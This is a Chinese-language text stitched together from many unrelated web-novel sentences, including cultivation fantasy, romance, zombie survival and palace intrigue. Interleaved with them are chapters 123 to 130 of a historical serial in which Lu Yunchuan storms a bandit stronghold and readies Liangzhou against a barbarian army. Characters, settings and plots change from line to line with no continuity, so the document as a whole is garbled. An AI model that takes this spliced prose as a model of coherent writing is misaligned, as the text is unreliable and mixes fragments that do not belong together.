他何曾不知道家族成员们的心思,一个个就算再努力修炼,就算境界再高,实力再强,都无法走出波罗家族的巨大阴影,都得继续仰人鼻息,处处低人一等。 “你是什么人?怎么会从天上掉下来?”海贼中一个有些地位的头目,对着方程问道。 “大早晨是谁先亲我的!“被清灵说得我老脸一红,抢白了一句。 苍云看着七彩苍云握着姬灵的手,心中即有些发酸,又有些怪异,毕竟握住姬灵手的,不是旁的妖,正是自己。 逍遥子所在的昆仑城,继承了大部分昆仑仙留下来的东西,所以对昆仑宫正殿有一定的了解。 对于霍新晨这势若雷霆的一斩,金翅冥飞只是淡淡的伸出右手迎了想来。 眼看着华夏军势如破竹,北定中原,只差一步,开国元勋,从龙之功,都是他们这些亲军享受最高待遇。 “麻烦了!”方程微笑着答应一声,跟在这个半大男孩身后,一路前往了客厅。 三分之一的暂编旅部队就是三十万人,剩余的三分之一继续担任各州同美洲人接壤部分的防御,组织第一道可以被消耗的人口防线,这是起作用的。 后面那巨龙虚影虽然只是一瞬即逝,但是却让望月神色为之一肃,因为她刚刚居然从那灰色巨龙身上看到了无尽的尸山血海和星辰破碎的场景,特别是那一股如同死亡君主般的杀意在霍新晨身上浮现,与她的凤威持平。 好在大多数情况下撒何华表现出来的是白色性格,即便是红色和黑色出现时,也不会完全失控。随着修为的增长,撒何华将羽翼修炼至丝带一般,托在身后,倒像是衣服上的装饰,而性格也趋于稳定。 赤着身子从索菲亚身上下来,宁涛抽出一支香烟点上,眼睛微微眯了起来。 “姐,你真是太厉害了,我没想到你能得到这个冠军。”柳伟乾头一次如此崇拜柳妍月,以前的时候,他只是感觉这个家里有了姐姐,爷爷他们会高看他们家一等,现在柳妍月做出这样的惊人壮举,让柳伟乾羡慕嫉妒恨。 楚南也觉得有道理,虽然不知道到底是谁想暗杀他,但起码眼前的事实已经毋庸置疑,早点离开这获得安全总是好事。 如果这个世界有百度的话,那么冷寐影的名字肯定是在第一时间成为百度最热门的第一条搜索。 吴楠这才放心的点了点头,虽然他也不太清楚杨杰凯的伸手到底达到了什么样的境界,但是他知道,就算再给他个几十年,他也永远无法企及。 “你是正当防卫,但是如果没有你去惹祸,会发生这种事情吗?”老爷子道。 徐川也醒了,但却像吓傻了似得,艾图图一脸劫后余生的哭喊抱住他,见众人安全,宁涛那复杂的目光却看向了前方,一百多米外应该就能见到姆斯,不过他应该是凶多吉少。 张部长气得脸色青一阵紫一阵,又不知道该说什么,狠狠瞪了杨杰凯一眼后,骂了声土鳖便转身离去。 要不是有杨杰凯这个高手充当救火队员的角色,龙堂恐怕早就被周长远彻底赶出北海了。 第一百二十三章 炼狱坟场 "当家的,陈鲨来了。" 张三儿轻声提醒。 峡口内火光骤亮,十艘黑虎涯大船如发狂野兽冲出。 船首覆甲撞角,寒光森然,陈鲨发狂吼叫:"姓陆的,今夜剜你心肝下酒!" 黑虎涯的人都这么残暴?动不动就挖人心肝下酒? 陆云川望着借急流之势俯冲而下的十艘匪船,内心不禁冷笑。 可是话到嘴边,却又想到他都错过了第一时间知道,也不在乎晚一天一夜知道这个消息了。 除了他,徐菲菲现在基本上在王府,甚至在整个京城都可以横着走了,没有人可以是她的对手,就连蓝颜和苗立峰也不一定能打败徐菲菲,可能单对单能打个平手。 宁梨却不由分说,从丫头袖中拉出蔓天绫,主动向岳孟发起攻击。 祁冥夜、魔龙、魔蛇、魔虎、魔豹都看着那漂浮的一个结界里一个身影。 “嗷呜!好好!”同样已经喝得烂醉的瑞天宇,敲着酒坛子十分捧场地大呼着,甚至还吹起了口哨。 折柳随唐惊风回到太子府,阿桃与那绿眼僵尸则是随着沧离去了国师殿。 回了主院,靖婉突然也觉得自己的骨头软了,坐下靠在大迎枕上就不想动弹了。 她努力的往湖边游过去,想要上岸,湖边很近,近在眼前,可她越游怎么越觉得湖边远呢? “是吗?在哪里?之前究竟发生了什么,为什么联系不上?”周信连续问了几个问题。 “也是,你们两个装作什么事情都没有发生,我去外面打电话去。”老爷子说着站了起来。 “管他可信不可信,反正这是他自己造的孽,咱何必管。”韩云帆随口说道。 “村长,这大晚上的把我们召集起来干嘛?”龙台村的村民纷纷询问道。 疯子做的事情大将军当然不会跟着去做,大将军不理解的事情就归结到楚一白是疯子上,然后就放下了这一切不再想:反正这些事情与他何干?他还是去找外孙们玩玩去是正经。 这人也没有多想,以为就是七长老,再加上环境的原因,没有仔细辨别。 靖安一来的确是懒得跑来跑去,二来也确实是防范着魏明:自己常去什么地方为什么要告诉一个敌对的人呢。 “呵呵,张镇长,还是再等等吧。”韩云帆笑了笑,并没有马上同意。不说别的,现在韩云帆号召九头村村民种植蔬菜这茬,九头村的村民基本上都还没有人相信这玩意能赚钱呢。至于卖虫,村民更加觉得不靠谱。 紫衣无奈,喝了一口茶水,说:“既然如此那就算了,你先安心养伤,就算青龙门的人来了,我们也不一定打不过他们,哼哼!”紫衣冷声哼道,似乎看到了青龙门找上门来那般咬牙切齿。 杨明的婚礼在举行着,这是一场盛大的婚礼,杨明的生活又开始了新的生活。 西门庆便大开大阖,写了“梦红楼”三个大字,又題上了“清河酉闩”,索性好人做到底,把自己的印章翻出來也盖上了。功夫做足后自己品评,虽然比名家不足,但比起将军來倒也有余,还算是差可告慰。 “咱们的筹码,是不是应该给我们兑现了?”唐帅问道。这种时候他还不忘钱的事。这是他赢来的,不要白不要。 陆清容所有的这些担心,尹屏茹也同样都有,恐怕还要更甚几分。 第一百二十三章 山林虎啸! “对,没错!现在,你们俩交手,较量一下!”庹老爷子一脸慈祥的看着我和三胖子,冲我俩点点头,回答道。 “可是那个青年说有一件要紧的事,关系到我们丹霞剑派的声誉。”那个长老沉声道。 “你没事吧?”他们笑着问道,“要不要去医院呢?”看着夏语瞳有些狼狈的摸样,心里也有些担心。 “荆空,他来自剑宗。”突然正当唐颜雪胡思乱想的时候,一道声音在她的脑海中回荡。 遥远的黑暗星空,羽圣人浑身凄惨血迹,躺在那里喘着粗气,有着无比怒火。他从来没有这么狼狈过。 他们已经进入妖域很多天,走了很远,还是一样的地形地貌,给人一种各地都差不多的感受。 他可以征战,可以做事,可以没人帮忙,也未必帮得上,他不需要,但最烦还被人扯后腿。百里云飞认真,大师兄有道憨实,都有自己做事方法,他也有,有着心中准则底线。 “晓曦,我们走吧!”楚辞急切的说道,“我们马上回中国,只要回到中国,一切都会变得和以前一样的!”楚辞心急的抓住她的双肩。 不过现在还不是完全能放松下来的时候,猿猴老者八位半步秩序者只是将对方给逼退而已。 相传红花教的毒室中养着一条巨蜥,每日都以掺有不同毒性但却不致命的食物喂之,等到这条巨蜥忍受不了外界带来的毒性死亡的时候,红花教的人就会将它投放到熊熊烈火之中烧上九九八十一天。 “轰轰轰!”一块块墓碑砸落在牛头械王的身上碎裂开来,那些对于生灵而言十分棘手的诅咒对于眼前的这机械生物来说却没有半点作用,仅仅是在它那坚硬的身体之上留下了一个个并不明显的凹痕。 李公公正想冲着娟娘下手,却被人大声喝止。他抬头看时,陶灼华披着件淡青羽缎的半旧大氅立在台阶上。因是赶得急,青丝还未及盘起,尽数披在肩上,此时她眼里含了怒意,面容越发欺霜塞雪般晶莹。 “我们人比较多,学生会室装不下——二楼有一间空教室,那里比较方便……现在校长是不能指望了,老师们也没办法插手,只有我们自己想办法了!”李成义正言辞地说道。 可是林风一直都没有动静,夏青莲不由得又有点好奇起来,她忽然想看看那个色狼到底在做什么,忍了几次没忍住,她还是坐直了身子,用眼睛的余光瞥了一下。 倘若有可能的话,张昊天真的恨不得让这条蛇离开这个世界,永远的那种,至于伤害这条蛇,张昊天怕是真的没这么大的本事了。 石宝身后的中贼兵闻言,急忙抢上前去,砍翻那些四下乱窜的贼兵。 因为这两天楚晨睡的很不好,用完晚饭后,也特意找了块安静的岩石,休息了会。 这几句话到是极能引起陶灼华的共鸣,她含笑还礼,谢了苏梓琴的祝福,却是思忖着对方的来意,不晓得该如何向刘才人母子开口。 看着渐渐走过来的怪兽,看着自己身前的数人一个个脸色难看的模样,看着他们握着自己的武器,脸色显得有些难看的面容,心中不由的暗暗发笑。 “吼”强烈的痛苦之下,李新发出一声低沉地咆哮,紧接着,眼睛豁然睁开,与正常相比,他的眼睛猩红,如同一头野兽一般,没有一丝情感,只有着赤裸裸地本能与欲望。 一般而言,材质达到灵宝级别的武器,皆是属于一品灵宝,至于更高的品级的灵宝,除了武器本身的材质,还有更重要的一点,那就是灵宝是否自带技能。 餐厅的客人,越来越多,口碑也在l城的幸存者团队中传出,光靠龙湖,已经震慑不住其他势力了,也只能无奈的放弃了封锁。 李冲哈哈大笑,笑的有些癫狂,忍不住期待更高一级的钻石级宝箱。 “主人,我感应到前方有大量的鬼魂正朝着我们方向涌来。”鬼一脸色变道。 若说以前的大千世界正在一条心上走的时候,那么现在的大千世界已经凝结成一股绳。 大魏江湖已经有数百年,都没有有过武林盟主的提议,相信这次的盛会,一定能吸引更多的江湖前辈参与。 时间线,目的性完全衔接不上,难道说,还有一个他不知道的势力在窥视着他? 灰太狼点了点头,赶紧跑到后面躲了起来,林海看见灰太狼躲了起来,才开启了显身模式。 第一百二十五章 百兽夜袭! 虎群一跃三丈,在空中舒展出一道道完美的杀戮弧线! 就在虎群腾空的刹那,精兵长矛刺出,寒光如同银龙,直捣虎群腹部! “噗呲!” 刺芒扎入巨虎皮脂,却再也进不得半寸,这些野兽实在太皮糙肉厚。 "变阵!" “道宗?道教?”失口说道,毕竟不管哪个世界,道教道门总是最厉害的一个。 见她扫的那般认真,他便没有打扰,继续打着坐,等打坐结束后,他从房顶上落下,径直去了厨房。 付乔之言,陈澈当然知道是在传递消息,他的回答,也正是付乔想要的答复,二人没有过多纠缠。 当第一抹光束照耀大地的时候,杀戮,也就此结束。步千怀坐在山巅之上,俯览山下光景。 这话一出,连沮授的脸都抽搐了几下,这王咨,恐怕连他都保不下了。 两人无奈摇了摇头,很有默契地走入了一旁的中餐厅,开始吃起饭来。一个上午的逃亡,下午又拒绝了导游的安排,自然也没饭吃,饿了半天肚子的两人自然不会先上房间,而是打算先填饱肚子再说。 “没问题,那么李兄是打算先完成阵法的交易咯?”老九微微一笑,没有在说什么,他相信等hx实验过后一定会再次找他的。 “这。。。我们难不成又走进一个镜像世界了吧?”叶天一惊道,他再次回忆起了当初旅游那次考试任务中的那幢别墅。 这狼嚎声,似乎又让他回到了在九原时征战的场景来。那时候的他们,不知陷入多少次的重围。每一次,都认为必死无疑,可每一次他们又是如奇迹一般杀出了重围。 “天呐……难道我一直以来都是垫底的存在么……”罗洛心中自卑的情绪油然而生。和他一样,夏火与海通天也察觉到了自己实力的极限,看来自己真的是老了。 “你们要干什么?”看到他们审视的眼神,胖子有种不好的预感,结结巴巴道。 琅邪知道是龙族求了情才使得人鱼还有一人活下,可见龙族是善良的。 “你的血肉不错,归我了!”一声冰冷的声音响起,在天地间出现一尊三足金乌,睥睨天地,浑身缭绕黄金色神焰,一股令万灵心颤的气息散发出来。 这样被直勾勾的看着令花璇玑浑身上下那叫一个不舒服。不知道是由于水温太热,还是害羞的原因,那张脸红的已经滴出了水儿。 如画这脚停在半空,不知是往回收还是往前走,心里堵着气想一走了之,可叫她的是会长,怎能不听。 烨华没有说话,那双凉薄的眸子微微眯起,破着脚,一次又一次的拉短两人的距离。 这一句,恰好打破了我和顾清源的尴尬,顾清源收起想说的话,只无奈笑了一笑,便下车去。 就在周围的人还未曾反应过来的时候,黝黑的虚空中,骤然间出现了万道闪电!天穹瞬间大亮!打出震天的响声,天威浩荡,山岳都被震的摇晃。 龙天看着一脸坚定的战名,知道他是非去不可了,如果他不让他去的话,说不定战名还是会在后面偷偷的跑过去的。 简宁自嘲,若不是因为她心理素质好,几次三番遭遇非人般的待遇,经历种种匪夷所思的事情,她早就该自杀了。 第一百二十六章 万军从中取敌将首级! 兽潮的冲锋仍未停止—— 狼群踩着燃烧的尸体叠成尸梯,利爪抠进城墙缝隙,向上攀爬! 几日才修建的关墙并不高! 第一头灰狼一跃跳上墙垛,利爪獠牙直取守军咽喉!士兵举盾格挡,长矛捅刺,一脚将狼踹下墙去,可第二头、第三头攀登而至…… "长矛手!堵住缺口!" 狼群如潮水般涌上城头,士兵们结成枪阵,长矛如林刺出。 “十倍?”骢毅有些诧异,但随即也就释然了,或许六星激光剑和玄净天尺一样,只有使用者功力越高,发挥的功效便越大。等等!玄净天尺!我tmd怎么把这茬给忘了!? 看见黄哥恶狠狠的样子,雅亦都吓了一跳,混混这种人物从古代就有了,雅亦见到黄哥的行为就知道黄哥是一个混混了,雅亦连忙躲在了骢毅身后。 “他妈的!你是谁!”豹爷正在办事,没想到被人打扰了,自然怒火中烧。 “什么条件?”我一惊,这妮子该不会口味很重,真的看上我了吧? 然而,那姓张的和那个黄头发、黄胡子的老头子一顿聒噪,许多目光都瞅她这儿来。 我挑了一些方便面、饼干以及一些其他速食的产品,又秤了一些鸡蛋,我有个特别的习惯,就是每天都要吃一个蛋,一天不吃一个蛋我就会感觉自己要营养不良了。 这个时候,蛮天心中突然有一个想法,或许让蛮山跟在韩狼的身后,真的可以让蛮力庄变得更加强大。 要知道苏夜跟由风讨价还价了半天,一开始狮子大开口也仅仅是二十万株至少五品魔尊级的天材地宝而已,也不指望白雪妖灵族能给出来这么多,何况每一株天材地宝还确保新鲜。 那是一件海螺一样的乐器,应该是类似号角那一类的乐器,然而此时,诺兰并没有吹响它,而是把它放在了耳边。 同时,洛天学院的天剑尊者以及星辰尊者和炙火尊者也是这般开口,更是震动无数人,让他们瞪大双眼,不敢置信。 接亲队伍走的很缓慢,一路所过,莫雪颜是有得时间好好的欣赏了一下这古代的大自然。 唐语的出场更是惊艳的不用说,黑色的长发烫成了大波浪,一身黑色挂脖a字裙完美得勾勒出她傲人的身子,脚踩香奈儿限量版的细高跟,显得一双腿又长又白又细,将高贵冷艳的气质展现得淋漓尽致。 不似曾经的玩笑的语气,而是一种类似于承诺的口吻,唐语捻着瓜子的指尖微微一顿,眼睫微垂,眸色莫名。 话刚说完,一个手掌重重拍到她头上,她撑着身子,露给袁三爷最后一个微笑,之后便倒在她身上,再无呼吸。 “就算不痛也要等到放凉,要不然你的手指跟口腔都会烫伤,以后会引发溃烂。”虽然不知道为什么,丧尸的腐烂速度相当慢,慢得不正常。 象这样黑得晶莹幽深的玉佩,天底下恐怕都找不出第二块,任谁看过一眼都不会忘记,宫雪莺当然一眼就认出了玉佩是冥霄公子佩戴的饰物。她本想把玉佩藏起来,没想到丫环来禀告,就是冥霄公子和宫纱萦来了。 林宇烨怎么也没有想到,除了他自己之外,其余三人都知道林念菀已经离开了。 可是现在,这么多江湖人士来了,他们要正大光明的下手,还真是不可能。 “刘玉成你个王八蛋,老子好心带你上来,忘恩负义恩将仇报的混账东…呃”袁三爷还没骂完,只见刘玉成伸手凌空一握,她的喉咙便被扼住了,再发不出声。 第一百二十七章 苦不堪言! “报!” “大当家的,凉州叛军驱百兽作为肉盾,用那不知名威力惊人的火器,已从东坡攻破两关!西坡也有一关被其水师攻破……两路人马一万余人,正朝最后一关杀奔而来!” 一个满脸血雾的喽啰,跌跌撞撞跑进黑虎堂禀告。 那绿毛鬼进来后见到我和大德子笑了笑说道:两位,我们又见面了,这是我的老板,今天专程来见见二位。 “你们晚上就睡帐篷,到了白天,我们再去开山辟路。”那老太太也说。 “是么,要是这样的话,那你动手好了,我倒是想要看看,你的实力究竟怎么样,希望不要让我失望。”淡淡的抛下了这一句话之后,雷行率先就动手。 突然!载着两人的火熔突然一声惊叫,随即一个急加速,让凌长风与曾晓雪两人险些坠落下去。 我看了他一眼后说道:这次学习估计也不会消停,刚才我发现情况了。 就在我欣赏这美丽的雪景时,念儿从帐篷里面钻了出来,我回过头见是她,长长的出了口气,如今让那个怪物给我搞的,有些疑神疑鬼的。 关键的时刻,他没有任何的犹豫,右手对着寒冰剑就是一拳挥了过去,巨大的灵力碰撞,立马就在周围激起了层层的光华,一圈又一圈的紫灰色的冲击波像两边涌过去,不停的冲击着周围的石壁。 泽斯:“弩队的事我去办就行,你想清楚的时候弩队的事恐怕就不是问題了,你想好了告诉我一声,这样弩队的事无就算完全解决了,不要让我等太久!”他说完往楼梯口方向走了。 这还不是主要的,真正的是可以结出同样等阶的闪电果,这可是一枚真正恐怖的果实,可以赋予雷电的力量。 只是她这一米五的身材抱着一米八的叶浔,还是公主抱,怎么看怎么奇怪。 平子真子有些无奈,居然遇到这种愣头青,他轻轻移开一步,只需要简单地一步,就能让攻击完全落不到他身上。 “你想学什么?”眼见智秀逃离了手心,李国栋也不恼,而是饶有兴致的询问着。 莱琼很能理解真理会的想法,他们越是郑重其事,就证明他们对月亮的了解的越多,而且这样看来,他们可能也已经总结出了甄别自己内部人员是否受到银月控制的方法。 而一旦问到hx背后的团队、新技术的具体开发、金融货币的构架体系之类涉及更深的问题,发言官就会分化重点,说得并不详实。 刚听到许尔戈打来电话的时候,她和大岛亚子都有些担心,虽然许尔戈告诉她们不需要担心,但是,担心这种情绪又怎么可能控制得了。 徐来和朴灿烈在那儿说着悄悄话,却不知道两人此刻的亲密动作让后边的“托”们彻底兴奋了起来,两人什么都不知道,还在进行着亲密的交谈。 这些火焰像是具备了灵性一样,并不会灼烧柳条,江润控制起来,简直随心所欲。 “呃,我们以前认识吗?不好意思,我失忆了,以前的熟人都不认识了。”贾千千讪讪的一笑,不知自己和这个浑身散发冰冷气息的面具男子是什么关系。 不过为了避免,再次被人窃听的情况,她这一回,尽可能的说的平淡一些。 第一百二十八章 秀得头皮发麻! 三更。 陆云川让火器军发动了最猛烈的轰炸,其目的就是要吸引守关土匪注意,好为地道偷袭打掩护。 陈世钊,赵猛等三百名精壮士卒,提着刀斧进入地道。 “记住,深入敌后,迅速开门,以火流星为号!” 一场轰轰烈烈的拍卖会,就此打住,许多人仍然对此津津乐道。估计之后很长一段时间,这件事都会成为人们茶余饭后的谈资。 在这个世界,六百年前,大汉高祖创立大汉,屹立于世,四海臣服,万山称臣。 “我是说我的演技啦,大叔可是都夸我温柔了。”说着,她露出得意的表情。 唐世梅身边所有人脉都可以调动出来帮唐饶找人,能让她如此付出,这份恩情连严墨一都没享受过。 就为了看鲸鱼就‘花’两百万租船出去?你们有钱人可真不心疼钱。 “隐藏了那么久?还不出来吗?”索罗轻声说道,声音却是充斥在整个区域中。 作为一名亡灵法师,索罗自然知道自己发生了什么事,他能够感受到自己精神力的变化。 刘懿他们各自施展自身剑法,召出了自己的法宝。无一是能够伤到左铉的,一切攻势在左铉强大的灵力面前,瞬间被碾压。 “怎么说呢,我觉得这家伙好像更可怕一点。”散发出淡淡光辉将陆诗瑶和谷岚护住的阿尔法以略带颤抖的声音说道。 过了几秒钟的时间,刘懿再度出现在房间里,他看了一下,还好身上没有血迹,不然让人看了也是麻烦。 秦天一剑劈出,剑芒呼啸着,暴射而出,与此同时,紫色的雷霆环绕,夹杂着龙吟声。 “原来如此么。”看到那家伙还在犹豫,自己的嘴角也是微微的上扬,看起来的话那家伙也是明确的了解了,如果在这个时候转换自己的话,有很大的概率吃苦头的是自己这一点了吧。 其实这件事说出来,确实有些不光彩,而且想要讲清楚会很繁琐,必须从细节说起。 云浩眸子颜色一变,一道道赤金电光,从瞳孔射出,将金光崩碎,然后云浩冲出金光,手中巨斧一挥,朝着天际之上,踏着的“奔雷梭”遁逃的严清朗,一斧劈去。 就算萧绮云身份尴尬,但她也是萧府的人,这不是刘永琦和萧绮云之间的事情,而是刘家和萧家的事情,对方在赤果果地打萧家人的脸呢,这也太过分了。 可就在这个时候,他们的眼角余光却是看到,有一名穿着长袍的长老,正往他们这边赶过来。 “你们都不行,都得死…”幽冥族首领冷漠的说道,他几乎跨入了圣人王层次,当世罕有比肩者。 和关山海以往不苟言笑的样子截然不同,他此刻看起来,十分地和善,关诗梦看着,心中不住安定了不少。 不错,不错!融合了三门武技,果然很强,并且每出一掌,都仿佛无数的光掌,气势磅礴,给人无尽的震撼之感。 林恩一时间没反应过来,不知道大姐头还有这本事。其实这也很正常,当你和身边亲密的人相处久了,你可能也会忽略对方的某些优点。 妈咪说那些孩子和爸比妈咪分开了,所以特别的需要关心和爱护。 他靠着椅背,一股无比满足的欣慰在他的脸上出现,此刻的勒梅气色比之前要好了许多,容光焕发的老人眼眸里都满溢出了神光。 第一百二十九章 这个东西小孩子不能吃 拿下黑虎涯过后。 金银财宝全部充公,近三千名喽啰俘虏,拉回凉州管教改造。 悲鸣寺,盐场,黑虎山,云峰镇,各留一千士卒镇守。 盐,是最重要的资产,控制了盐矿,凉州的财政收入方可稳定。 此刻,陆云川站在山崖边,在离开之前,他还有一件很重要的事情交代—— 从前爷那身子骨,府里人都当没子嗣也是正常,实在是谁也没怎么上心。爷能保住自家这命就不错了,还能管旁的?偏有青槐有了身孕,这难听的可都奔着夏姨娘来了,都道是夏姨娘不能生养。 飞船在空中连连翻滚,朝地面撞去,受损处浓烟滚滚、火花激闪。 既然这白雾有问题,那她刚刚看到的景象,会不会是虚构出来的,其实就是假的呢? “受死吧!”一声顿喝,从那依然还没有散去的尘烟迷雾之中,又钻出一个巨大的掌印,拍向了龙玄空。 龙玄空才多大?充其量只不过十四对的毛孩,看样子如果不是彭祖加入,龙玄空说不定还能占据上风。 她的声音中,透露出浓浓的疲惫、虚弱和悲戚,张参顿时心道不妙,只怕来的不是时候。 “先用伏虎丹还是先用百益丹?”黄药师终归是比别人多个心眼,也是自家徒弟自家疼,要换了别人,黄药师说不得是早甩袖走了。 而她手上的疤痕才刚刚结起来,在司徒襄羽拉过她的手臂时,他还用了些气力将程馨妍给推了过去。 ps:太困了,自己都写迷糊了,写到一半儿睡过去了,睡了差不多一个点儿突然自己醒来,吓坏了,还好不是一觉天亮……rz。可结果又将踩点儿了。叹气。 想了会心事,给自己倒了杯茶,轻啜几口,想着刚才慕容浩轩的嘴脸,不禁轻轻哼了一声,一只胳膊枕在自己脑袋下面,一只手有一下没一下的按着因为在马上颠簸有些酸痛的腰身,慢慢的有些困了。 普慈听起来那么厉害一高人,怎么教出来的两个徒弟都有明显的人格缺陷呢?同心就不说了,木心这个简直,从头到尾的做为都透着股子缺心眼儿的味道。 “你们两人一组,分散开来,搜寻宝物,记住,安全要紧,一旦发现什么不对劲,立刻给我传音,知道了吗?”叶炫威严的眸子扫了一眼众人,大声说道。 满大殿跑的都是野兽的魂魄,而这些魂魄来自什么朝代姑且不说,但是一个比一个残暴。 自舌尖之处,自那缠住人面蜂王的舌尖处,一阵剧痛直刺心神而去。 “去了可就回不来了,除非有奇迹,或者你找到极其稀有的矿藏。”陆啸廉再度提醒道。 “呵呵”叶炫心中一动,暗中动了动嘴唇,幽灵豹身子一震,眼底掠过一道惊骇神色,随即脸上出现一丝毫不掩饰的惊喜神色。 “就算建造出来,原型也不一定和之前的一样。”我很清楚,就算有老辈人的描述,他们也描述不清楚每个古庙的原型,只能描述出大概的位置而已。 见到梦魇主神,陆辰也用精神跟主神交流了一下,发现确实如同狂虎所说,这里确实不可以动武,因此,陆辰也没有犹豫,拟定了一份契约让狂虎签订后,就把水晶晶核给了狂虎。 尸魂香,能将尸气长久留在人体,进而让一般的鬼物难以分辨出来的奇物。 第一百三十章 兵临城下 “轰隆隆!” 一声雷鸣,石破天惊。 “哗啦啦……” 暴雨倾盆而下,狠狠拍打着瓦砾。 狂风呼啸而至,阵阵摇曳着窗户。 陆云川与李婉清纷纷被这一声炸雷所惊醒。 “好像到了春季雷雨交加的季节了……” 李婉清揉了揉眉心,这一声雷的实在太摄人心魄,害得她睡意全无。 “怎么?你害怕?” 陆云川笑了笑,起床掌了一盏灯,走到窗户边。 暴雨拍打着窗台,溅了好些水渍。 其实挺好,春雨贵如油,这场雨季一过,春耕便可开始。 陆云川在窗台前,深吸了一口雨夜芬芳,将窗户关了上去。 李婉清半坐起身,捋了捋青丝秀发,轻叹:“你可能不知道,凉州每年春汛都很吓人,运气不好,黑河涨水决堤,会涝好大一片土地……” “你这倒是提醒了我,明日我便调派劳役,加固各处堤坝。” “我听人说……最近雍州每日都要逃来好大一批流民……” 李婉清低头说道:“恰逢今夜这场雨,让我想起了一个典故—— 震前大雁乱飞,雨前蚂蚁搬家; 地震来临前,大雁鸟群会到处乱飞;暴雨来临时,蚂蚁会成群结队搬家; 那么,大批流民向凉州逃难,是不是证明……战火快要烧过来了?” “李小姐大门不出,二门不迈,还能洞晓国家大事?”陆云川坐回床上笑道。 “我随我爹在凉州住了二十年,其中蛮国人打过来三次,每次都要屠杀好多人……” 李婉清美眸跳动,如床边的烛火,“我害怕……” 不仅她怕,每个人都怕,蛮族的残暴人尽皆知。 “先生!先生!” 苏萍儿的声音突然从卧房外传来,“千目堂的探子急报!” “轰隆!” “哗啦啦……” 闪电撕开天际,雷鸣惊天动地,暴雨再急了三分。 陆云川眉头一皱,披上外套便走出了卧房。 辗转书房。 刘马身上的斗笠蓑衣不停滴着水,单膝跪地禀报: “当家的,边关探子来报,蛮国已攻破铁牢关,势不可当向东推进,就快要越过阴山了!” 陆云川站在窗台边,望着窗外暴雨,眼神从容平淡。 这场战争的结局,就好似眼前这场春雨,酝酿得实在太久,下得又实在太急。 然而,他早已未雨绸缪,做好万全准备。 “桌面上有三封信,你分别派人送去白水涧,故人庄,万马堂。” “是!” 刘马自知事态紧急,接信裹好牛皮,转身退出书房。 以蛮军的铁蹄速度,只要翻过阴山,五日之内便可横扫整个雍凉。 陆云川书信白水涧,让水师派遣战船,沿着黑河接纳雍州流民。 若蛮军占据雍州,那么雍州的粮食,人口,房屋,牲畜等全都是人口资源。 在蛮军霸占雍州之前,尽可能将这些资源转移到凉州,一来可以免遭百姓被蛮军屠戮,二来可以收拢资源,施行坚壁清野之策。 白水涧将流民通过黑河带回凉州,再由十几个故人庄接管安排,将流民男丁快速武装成民兵,以各堡寨为单位,缔结自我防御力量。 万马堂所在的河曲镇,经先前孔家庄的修缮,是除凉州城外最大堡垒要塞,让它与凉州城互为“犄角”最为合适。 眼下凉州城有五万正规军,加上快速武装的民兵乡勇,凑个十万大军完全不在话下。 十万兵,守凉州,蛮夷国,休想破! 后半夜。 凉州各境都在调动,黑甲马步兵,冒着倾盆大雨,一批一批涌入凉州城。 凉州城是凉州战略要塞,蛮国想要南下,必先攻打此城。 屯兵五万于凉州城,三万在万马堂,其余两万分散各庄来确保后方。 一夜之间,军事部署全部完成,只等蛮兵来犯! “唉……眼看就要春耕了,蛮国这时却打了过来……” 城头,李良轻声叹息,他是父母官,军事不精通,眼中只有民生。 “叔父,今年庄稼一定会长得更好的。”陆云川淡淡道。 “为何啊?” “因为蛮人的血肉,会肥沃整片凉州土地。” 言毕,陆云川大袖一甩,转身走下城头。 …… 往后几日。 雍州各县,乡,镇都流传开来: “凉州城主发布全境通告——凉州大开国门,接纳所有雍州百姓,不论男女老幼,猪马牛羊,柴米油盐!远往者,皆提供庇护!” 听到这则消息,雍州全境百姓,拖家带口,提着大包小包,全部朝黑河渡口聚集。 白水涧每日出动三十余艘客货船,就沿着黑河岸边,一船接着一船将百姓往凉州运。 其实他们不是流民。 流民的定义,是流离失所的百姓。 但雍州这些,家里的牲畜,粮食,钱财都带在一路,换句话说,他们是带着“资本”进入凉州的。 陆云川的这一计阳谋,就是要在蛮军占领雍州前,尽可能将雍州的血液吸干! 雍州府已然崩溃,只能干瞪眼看着百姓涌入凉州。 大昭历,安庆十六年春,二月二十三,蛮国挥师雍州。 二月二十六,蛮国狼族、虎族、鹰族,共计二十四万大军,兵临雍州城下。 雍州城,死气沉沉,城门打开。 雍凉经略使孔嵩,带领所有雍州文官武将,肃然立足于城门前,两万守城军齐卸甲。 投降,耻辱! 投降于递过异族,耻辱中的耻辱! 可不投降能怎么办呢? 莫非要雍州城三十万军民全部陪葬? 蛮军三名将领,骑马高昂来到城门前,依次是虎族统帅兀良阙,鹰族统帅独孤雷,狼族统帅赫连昭。 “二十年了,我蛮族铁蹄终于来到了雍州城,哈哈哈……” 兀良阙仰天大笑,每一声笑,都带着胜利者的嘲讽。 孔嵩强颜欢笑,双手奉上降书,“兀良将军,这是雍州城降书,还望将军进城后,善待城中百姓……” 兀良阙摆了摆手,副将收纳了降书,他道:“孔大人放心,我们国主特意交代过,只要你们老实归顺蛮国,此次入关便不造杀孽……” “多谢国主。”孔融欣喜拜谢。 “不过,”兀良阙脸色一沉,“我大军一路走来,沿途的乡镇村店,全部人去楼空了,老子想抓两只鸡来打牙祭都找不到,孔大人,你藏得也太好了吧?” “将军误会了!” 孔嵩抬手指向西方,“都是凉州那个姓陆的贼叛军干的!” “哦?姓陆的,贼叛军?” 估计…… 又有人要打喷嚏了。 第一百三十一章 你不是挺猖狂的么? 兰斯细细地推敲着,他总觉得事情没那么简单。奥义之门的壁画上没有记载最终的决战,这让他少了许多参考信息。 这些药材,其实都是陈韶自己的,至于怎么拿出来的,自然不会告诉节目组。 “哈哈哈哈。一个三阶进化者,居然敢威胁我!你真以为我杀不了你吗?”提恰再次大笑道。 “她很漂亮……她告诉我,她的名字叫潘多拉。”岚茫然睁着眼睛,低声喃喃说。 “哼哼,庞洪俊,你知道就好!你是战魂宫的人,我不会杀你,不过以后见到我,最好给我绕道而行!”沈君此刻对自己依然充满了信心,因为他还有不少的底牌没施展出来。 “石局,下命令吧,我一定会带着兄弟们将这个潜藏已久的大毒枭绳之以法。”缉毒组的组长大声说道。 这就好比用力摇一个铁栅栏,只要使劲摇一个地方,整个铁栅栏都会随之摇晃! 羽高点点头道:“放心吧,萤,只要拖离了晓,我就立刻去找你的。”听到羽高的回应,萤不在原地停留,直接朝着自己所住的村子跑了过去。 “不妨让李宾客全权负责军备后勤之事,方宾客负责瓷窑、织造局、以及殿下其他生意上的事。”傅浩没好直接说走私事宜。 酒吧的老板是一个六十岁的白胡子男人,虽然六十岁,但是依旧精神抖擞。和萨克一样,有着一身彪悍的肌肉,身高海拔非常有震慑力。 